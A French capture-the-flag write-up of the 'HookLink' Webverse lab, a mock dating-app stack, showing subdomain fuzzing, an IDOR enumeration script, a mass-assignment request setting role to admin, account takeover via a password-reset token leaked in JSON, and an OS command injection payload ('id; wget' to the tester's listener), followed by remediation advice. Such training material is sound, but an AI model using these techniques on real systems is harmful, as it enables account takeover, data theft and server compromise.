ZNote Logo
ZNote
Labs PentestmediumWebverse
19-06-2026
13 min

Range HookLink : 7 Flags sur une Stack Multi-Services de Dating App

Pentest complet d'une stack multi-services d'application de rencontres : IDOR sur l'API utilisateurs et les photos privées, Mass Assignment pour élévation de rôle en admin, token de réinitialisation leaké dans la réponse JSON, accès à la console interne Trust and Safety, et OS Command Injection sur un formulaire de signature.

Pentest
IDOR
Mass Assignment
Password Reset Leak
OS Command Injection
Broken Access Control
API
Webverse
Web Security

Certificat de complétion HookLink

Contexte et Objectifs

ChampDétail
PlateformeWebverse
Ciblehooklink.local et ses sous-domaines
StackSite marketing, app de dating, API, photos, abonnements, console interne
LienAccéder au lab
DifficultéMedium

Scénario : HookLink est une application de rencontres de Miami qui fait tourner une stack multi-services : un site marketing, l'application de dating et son API, un service photo, un service d'abonnements premium et une console interne Trust and Safety. Sept flags, un seul engagement. L'objectif est de commencer en visiteur anonyme et de terminer avec les données sensibles de 180 000 utilisateurs.

Flags :

#NomTechnique
1Walk the guest listIDOR sur /api/users/{id}
2Left in the openIDOR sur photos privées
3Return to senderPassword reset token leaké en JSON
4Crossed paths(source externe, voir section dédiée)
5Backstage passAccès console admin via Mass Assignment
6Everywhere you've beenRapport utilisateur dans la console mod
7Everyone, all at onceOS Command Injection sur le formulaire export

Kill chain :

Sortie
Découverte sous-domaines : www, app, premium, mod
        │
        ▼
app → inscription → IDOR /api/users/{id} → Flag 1
        │  (+ media.hooklink.local découvert)
        ▼
media → IDOR photos privées → Flag 2
        │
        ▼
app → password reset token leak → Jordan → Flag 3
        │
        ▼
[Flag 4 → source externe]
        │
        ▼
app → Mass Assignment → rôle admin → accès mod
        │
        ▼
mod → onglet System → Flag 5
mod → rapport Jordan → Flag 6
mod → OS Command Injection → Flag 7

1. Reconnaissance

Commande
bash
rustscan -b 500 -a hooklink.local -- -sC -sV -Pn

Output RustScan

Un seul port ouvert : 80/tcp, nginx. Toute la surface d'attaque est sur le web. L'existence de plusieurs services distincts dans le briefing suggère immédiatement une architecture multi-sous-domaines.


2. Enumération des Sous-Domaines

On commence par déterminer la taille de réponse pour un sous-domaine inexistant, afin de construire le filtre FFUF :

Commande
bash
curl -s -o /dev/null -w "%{size_download}" \
  -H "Host: fake123.hooklink.local" http://hooklink.local
Sortie
145

La réponse pour tout sous-domaine inexistant fait exactement 145 octets. On filtre sur cette taille :

Commande
bash
ffuf -u "http://hooklink.local" \
  -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
  -H "Host: FUZZ.hooklink.local" \
  -fs 145

Output :

Sortie
www      [Status: 200, Size: 10353, Duration: 274ms]
app      [Status: 302, Size: 28,    Duration: 154ms]
premium  [Status: 302, Size: 197,   Duration: 143ms]
mod      [Status: 302, Size: 32,    Duration: 152ms]

Quatre sous-domaines découverts. On ajoute tous dans /etc/hosts :

Commande
bash
echo "10.100.0.x www.hooklink.local app.hooklink.local premium.hooklink.local mod.hooklink.local" \
  | sudo tee -a /etc/hosts

Analyse de chaque sous-domaine :

Sous-domaineStatusRôle présumé
www200Site marketing public
app302Application de dating (redirection vers login)
premium302Service d'abonnements
mod302Console interne Trust and Safety (redirection, accès restreint)

On commence par app.hooklink.local, le cœur de l'application.


3. app.hooklink.local - Partie 1

Inscription et Content Discovery

On crée un compte sur app.hooklink.local et on lance un Feroxbuster authentifié :

Commande
bash
feroxbuster \
  -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt \
  -u "http://app.hooklink.local" \
  -H "Cookie: hooklink_session=<token>"

Output (endpoints pertinents) :

Sortie
200  GET  http://app.hooklink.local/discover
200  GET  http://app.hooklink.local/nearby
200  GET  http://app.hooklink.local/matches
200  GET  http://app.hooklink.local/messages
200  GET  http://app.hooklink.local/me
200  GET  http://app.hooklink.local/forgot
200  GET  http://app.hooklink.local/api/users/me
200  GET  http://app.hooklink.local/api/inbox
200  GET  http://app.hooklink.local/api/matches
200  GET  http://app.hooklink.local/api/conversations
200  GET  http://app.hooklink.local/js/app.js
200  GET  http://app.hooklink.local/profile/$m.other_id

Deux endpoints API retournent des données en JSON : /api/users/me et /api/matches. L'endpoint /api/users/me retourne notre profil complet. La structure du chemin suggère un pattern /api/users/{id}.

Flag 1 : Walk the guest list (IDOR)

En naviguant sur l'application, on remarque que les profils des autres utilisateurs sont accessibles via des IDs entiers :

Sortie
http://app.hooklink.local/profile/104

Profils avec IDs entiers

Si les profils sont accessibles par ID entier via l'interface, le même pattern s'applique probablement à l'API comme on l'avait dit plus haut. On teste :

Sortie
GET /api/users/1 → profil de l'utilisateur 1
GET /api/users/2 → profil de l'utilisateur 2
...

On inspecte la réponse de /api/users/104 :

Réponse de /api/users/me

La réponse contient notre profil et révèle un sous-domaine supplémentaire : media.hooklink.local, utilisé pour héberger les photos des utilisateurs.

On ajoute media.hooklink.local dans /etc/hosts.

C'est une vulnérabilité IDOR (Insecure Direct Object Reference) : l'API expose des données utilisateur sans vérifier que le demandeur est bien l'utilisateur concerné. N'importe quel utilisateur authentifié peut lire le profil de n'importe quel autre en incrémentant l'ID.

On écrit un script bash pour cartographier les 200 premiers comptes et chercher un compte admin :

Commande
bash
for id in $(seq 200); do
  curl -s \
    -H "Host: app.hooklink.local" \
    -b cookies.txt \
    http://hooklink.local/api/users/$id >> resultats.txt
done

On cherche le flag dans les résultats :

Commande
bash
grep "HOOKLINK" resultats.txt

Flag 1 trouvé dans les résultats

Flag 1 : Walk the guest list récupéré via l'énumération IDOR.

Mass Assignment : Élévation de Rôle en Administrateur

Sur la page de profil, un champ role est affiché avec la valeur user. Ce champ n'a pas été renseigné lors de l'inscription, donc il est retourné par l'API dans la réponse du profil.

Profil avec champ role affiché

Hypothèse : si le rôle est affiché depuis l'API, peut-être que la route de mise à jour du profil accepte aussi ce champ en écriture sans le filtrer.

Mass Assignment est une vulnérabilité qui survient quand une API accepte et persiste des champs non prévus dans une requête de mise à jour. Le développeur pense protéger certains champs, mais l'API en accepte en réalité plus que ce qui était voulu.

On capture la requête de mise à jour du profil dans Burp Suite et on y ajoute le champ role :

Requête de mise à jour avec role=admin

Sortie
http
PATCH /api/users/me HTTP/1.1
Host: app.hooklink.local
Cookie: hooklink_session=<token>
Content-Type: application/json

{"bio":"test","role":"admin"}

On envoie :

Réponse confirmant role=admin

L'API accepte le champ role et le met à jour. On recharge la page :

Accès admin obtenu

Redirection vers mod.hooklink.local

On est redirigé directement vers mod.hooklink.local, la console interne Trust and Safety. On y reviendra après avoir exploré media.hooklink.local.


4. media.hooklink.local - Flag 2 : Left in the open (IDOR photos)

En inspectant le code source de la page profil d'un utilisateur sur app.hooklink.local, on repère ce snippet JavaScript :

Code source JS avec endpoint photos privées

Commande
javascript
const priv = (await api("/api/photos/" + id + "/private")).data;

Les photos sont hébergées sur media.hooklink.local sous le format :

Sortie
http://media.hooklink.local/photos/{id}/{visibility}

La visibilité est public ou private. Si l'accès aux photos privées n'est pas contrôlé côté serveur (un autre IDOR), on peut accéder aux photos privées de n'importe quel utilisateur en connaissant son ID.

On teste pour le premier utilisateur :

Sortie
http://media.hooklink.local/photos/1/private

Fichier flag.txt dans les photos privées

Un fichier flag.txt est présent dans les photos privées de l'utilisateur 1. On l'ouvre directement :

Flag 2

Flag 2 : Left in the open récupéré via IDOR sur les photos privées.


5. app.hooklink.local - Partie 2 : Flag 3 : Return to sender

L'objectif est d'accéder au compte de l'utilisateur Jordan, dont le profil a été repéré lors de l'exploration précédente. On tente un password reset sur son adresse email.

Hypothèse : après le MFA leak observé sur d'autres labs (BombThreat), on inspecte systématiquement les réponses API lors des resets de mot de passe pour voir si le token est retourné côté client.

On intercepte la requête de réinitialisation avec Burp Suite :

Token de reset présent dans la réponse JSON

Le token de réinitialisation est directement retourné dans la réponse JSON :

Sortie
json
{
    "ok":true,
    "message": "If an account exists for that address, a reset link is on its way.",
    "meta" : {
        "request_id" : "577b49064c7c",
        "mailer":{
        "provider" : "postmark - sandbox",
        "status": "queued",
        "to":[EMAIL_ADDRESS],
        "template": "password-reset",
        "preview_url":
        "http://app.hooklink.local/reset?token=434..."
        }
    }
}

Le serveur envoie le token au client dans la réponse de la requête de reset, au lieu de l'envoyer uniquement par email. C'est la même classe de vulnérabilité que le MFA Leak : un secret censé être acheminé via un canal secondaire est exposé dans la réponse HTTP elle-même.

On construit l'URL de reset avec le token récupéré, on l'ouvre dans le navigateur, et on intercepte la requête de changement de mot de passe avec Burp pour définir un nouveau mot de passe :

Changement de mot de passe réussi

On se connecte en tant que Jordan. En consultant ses messages :

Flag 3 dans les messages de Jordan

Flag 3 : Return to sender récupéré dans la boite de messages de Jordan.


6. Flag 4 : Crossed paths

Ce flag a nécessité une consultation externe. Après un blocage prolongé sans trouver le vecteur, la méthodologie a été trouvée sur :

blog.thepentesting.ninja : Webverse HookLink

Flag 4

Je n'ai pas rédigé de méthodologie personnelle pour ce flag car la démarche n'est pas la mienne. C'est un choix d'honnêteté. Consulter un write-up quand on est bloqué n'est pas une faiblesse, c'est de l'apprentissage. Ce qui compte est de comprendre pourquoi ça fonctionne, pas juste de reproduire les commandes.

[!NOTE] La subtilité de Crossed paths illustre un point important : en pentest, les vecteurs les moins évidents sont souvent ceux qui passent entre les mailles des scans automatisés. Une bonne lecture du code source et des comportements de l'application prime sur la quantité d'outils utilisés.


7. mod.hooklink.local - Flags 5, 6 et 7

L'accès à mod.hooklink.local a été obtenu via le Mass Assignment de la section 3.3 (rôle admin sur le compte de l'application de dating).

Flag 5 : Backstage pass

La console Trust and Safety présente une barre de navigation avec plusieurs onglets. On navigue vers l'onglet System :

Onglet System de la console mod

Flag 5 : Backstage pass récupéré dans l'onglet System.

Flag 6 : Everywhere you've been

On navigue vers l'onglet Reports. Deux rapports sont en attente de traitement :

Onglet Reports avec 2 rapports en attente

On ouvre le rapport de Jordan :

Rapport Jordan contenant le flag 6

Flag 6 : Everywhere you've been présent directement dans le contenu du rapport.

Flag 7 : Everyone, all at once (OS Command Injection)

L'onglet Export présente un formulaire de signature de manifeste :

Formulaire export avec champ de signature

Une manifest signature est une méthode cryptographique utilisée pour vérifier l'intégrité et l'authenticité d'un ensemble de fichiers. Le système crée des hashes cryptographiques de tous les fichiers, les liste dans un fichier "manifest", puis signe uniquement ce fichier manifest.

Ce qui retient l'attention : la signature est calculée côté serveur et la valeur entrée dans le formulaire devient un paramètre de requête traité côté serveur. Si cette valeur est passée à un appel système sans sanitisation, on a un vecteur d'OS Command Injection.

Vérification :

On met en place un serveur web en écoute sur notre machine :

Commande
bash
python3 -m http.server 80

On soumet le payload suivant dans le formulaire :

Sortie
id; wget http://10.9.0.65/

Requête reçue sur notre serveur web

Notre serveur reçoit la requête GET. La commande wget s'est exécutée côté serveur. La vulnérabilité est confirmée.

[!WARNING] Ce champ utilise probablement un appel système de type exec("sign_manifest " + param) ou équivalent, où le paramètre est concaténé directement à la commande sans echappement. Le ; permet d'enchaîner une deuxième commande après la commande prévue.

On explore le système de fichiers pour trouver le flag :

Exploration du filesystem

Le flag est à la racine du système :

Flag 7 à la racine

Flag 7 : Everyone, all at once récupéré via OS Command Injection.


8. Conclusion et Remédiation

Flags Récapitulatifs

#NomSous-domaineTechniqueComplexité
1Walk the guest listappIDOR /api/users/{id}Faible
2Left in the openmediaIDOR photos privéesFaible
3Return to senderappPassword reset token leaké en JSONMoyenne
4Crossed paths(multiple)Source externeN/A
5Backstage passmodMass Assignment → rôle adminMoyenne
6Everywhere you've beenmodAccès console adminFaible
7Everyone, all at oncemodOS Command InjectionÉlevée

Remédiation

VecteurProblèmeRemédiation
IDOR /api/users/{id}N'importe quel utilisateur peut lire le profil de n'importe quiVérifier côté serveur que l'ID demandé correspond à l'utilisateur de la session. Utiliser des identifiants non devinables (UUID v4) plutôt que des entiers séquentiels
IDOR photos privéesPhotos privées accessibles sans vérification du propriétaireContrôler l'accès aux ressources privées au niveau du serveur, indépendamment de l'URL. Vérifier que l'utilisateur de la session est bien le propriétaire de la photo
Mass AssignmentLe champ role est accepté et persisté lors d'un PATCH profilUtiliser une liste blanche des champs acceptés (allowlist) dans la couche de validation. Ignorer ou rejeter tout champ non explicitement autorisé en écriture
Password reset token leakéLe token de reset est retourné dans la réponse JSON de la requêteLe token ne doit jamais figurer dans la réponse HTTP. Il doit être envoyé uniquement via le canal secondaire (email). La réponse doit se limiter à confirmer que l'email a été envoyé
OS Command Injection (export)La valeur du formulaire est passée directement à un appel systèmeNe jamais construire des commandes shell par concaténation de chaînes. Utiliser des APIs natives de signature plutôt que des appels système externes. Si un appel système est inévitable, utiliser execFile() avec les arguments en tableau

[!NOTE] Ce range illustre un principe fondamental du pentest d'applications multi-services : la surface d'attaque totale est plus grande que la somme de ses parties. Chaque service pris individuellement semble gérable. Mais l'IDOR sur l'API expose les IDs qui permettent d'explorer media, le Mass Assignment donne accès à mod, et le token leaké permet de prendre le contrôle d'un compte tiers. Les flags s'enchaînent parce que les services partagent des données et des identifiants sans cloisonnement suffisant.


Writeup rédigé par Zcook